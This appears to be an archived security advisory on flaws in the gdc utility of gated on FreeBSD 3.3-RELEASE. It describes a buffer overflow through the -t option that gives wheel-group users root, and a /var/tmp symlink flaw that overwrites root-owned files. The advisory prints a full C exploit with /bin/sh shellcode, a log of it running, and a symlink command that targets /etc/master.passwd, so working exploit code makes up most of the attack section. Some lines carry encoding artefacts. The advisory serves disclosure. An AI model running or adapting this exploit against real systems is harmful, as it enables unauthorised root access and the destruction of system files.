COMMAND

    gdc (gated-3.1.5)

SYSTEMS AFFECTED

    FreeBSD 3.3

PROBLEM

    Brock Tellier found  following.  Vulnerabilities  exist in gdc  in
    (at least) FreeBSD 3.3-RELEASE  which will allow certian  users to
    gain root privs and overwrite system files.  Tests were done  ONLY
    on  FreeBSD  3.3-RELEASE  with  the  gated-3.5.11  included on the
    installation CD.  By default on FreeBSD (when installed at initial
    install by /stand/sysinstall), gdc is given permissions as shown:

        -rwsr-x---  1 root  wheel  23832 Sep 10 23:21 /usr/local/bin/gdc

    Thus only users in the group 'wheel' may run gdc.

    /usr/local/bin/gdc contains  a buffer  overflow that  may ONLY  be
    exploited by  the group  'wheel'.   According to  the man page the
    default group is "gdmaint", but  it was not installed this  way by
    default on my  system, nor were  any instructions given  to make a
    gdmaint group.   The overflow comes  when gdc is  supplied a large
    -t  time  option  on  the  command  line.   Some may scoff at this
    particular  hole,  claiming  that  if  you've let a malicious user
    have/gain wheel privs, things have already gone past the point  of
    no return.   These people  are probably  right, but  in any  case,
    it's worth nothing.

    /usr/local/bin/gdc  allows  debugging  output  to  be written to a
    file in /var/tmp which  follows symlinks.  This  vulnerability can
    be exploited to overwrite root-owned system files (more of a  DoS,
    since it doesn't change  the destination file's perms)  regardless
    of the user who ran gdc.  Once again, a normal user without  wheel
    or similar gid cannot run gdc.   However a normal user may  create
    the symlinks that a wheel group user's gdc will follow.

    Exploit (buffer overflow as part of the wheel group):

        $ gcc -o gdcx gdcx.c
        $ ls -la `which gdc` -rwsr-x---  1 root  wheel  23832 Sep 10 23:21 /usr/local/bin/gdc
        $ id
        uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
        $ ./gdcx
        gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>
        eip=0xbfbfdb65 offset=0 buflen=4093
        NOPs to 937
        Shellcode to 1004
        eip to 1008
        gdc: invalid wait time:
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        =EB5^Y3=C0=89F=F5=83=C8f=89F=F9=8D-=89=
        ^
        3=D2R=89V=89V =8DF
        P=8D P=B8{V4 5@V4 Q=9A>:)(:<=E8=C6=FF=FF=FF/bin/she=DB=BF=BF
        #

    The code itself:

    /*
     * gdc exploit for Freebsd-3.3 yields euid=0(root)
     * by default, only group wheel (or whatever your trusted gated group is)
     * and root can run gdc
     * Brock Tellier btellier@usa.net
     */


    #include <stdio.h>

    char shell[]= /* mudge@l0pht.com */
      "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
       "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
       "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
       "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


    main (int argc, char *argv[] ) {
     int x = 0;
     int y = 0;
     int offset = 0;
     int bsize = 4093;
     char buf[bsize];
     int eip = 0xbfbfdb65; /* works for me */

     if (argv[1]) { =

       offset = atoi(argv[1]);
       eip = eip + offset;
     }
     fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n");
     fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

     for ( x = 0; x < 937; x++) buf[x] = 0x90;
         fprintf(stderr, "NOPs to %d\n", x);

     for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
         fprintf(stderr, "Shellcode to %d\n",x);

      buf[x++] =  eip & 0x000000ff;
      buf[x++] = (eip & 0x0000ff00) >> 8;
      buf[x++] = (eip & 0x00ff0000) >> 16;
      buf[x++] = (eip & 0xff000000) >> 24;
         fprintf(stderr, "eip to %d\n",x);

     buf[bsize - 1]='\0';

     execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);

    }

    For symlink vulnerability:

        ln -s /etc/master.passwd /var/tmp/gated_dump

    (wait for priv'd user to run /usr/local/bin/gdc dump)

SOLUTION

    This is a problem, but it's  not just with FreeBSD - obviously  if
    you  follow  these  instructions  then  you're just giving root to
    members of gdmaint, not wheel (which may in fact be worse, if  you
    trust people to  use gdc who  you don't trust  with the wheel  bit
    (i.e.  those  who  can  legally  su  to  root  if  they  knew  the
    password)).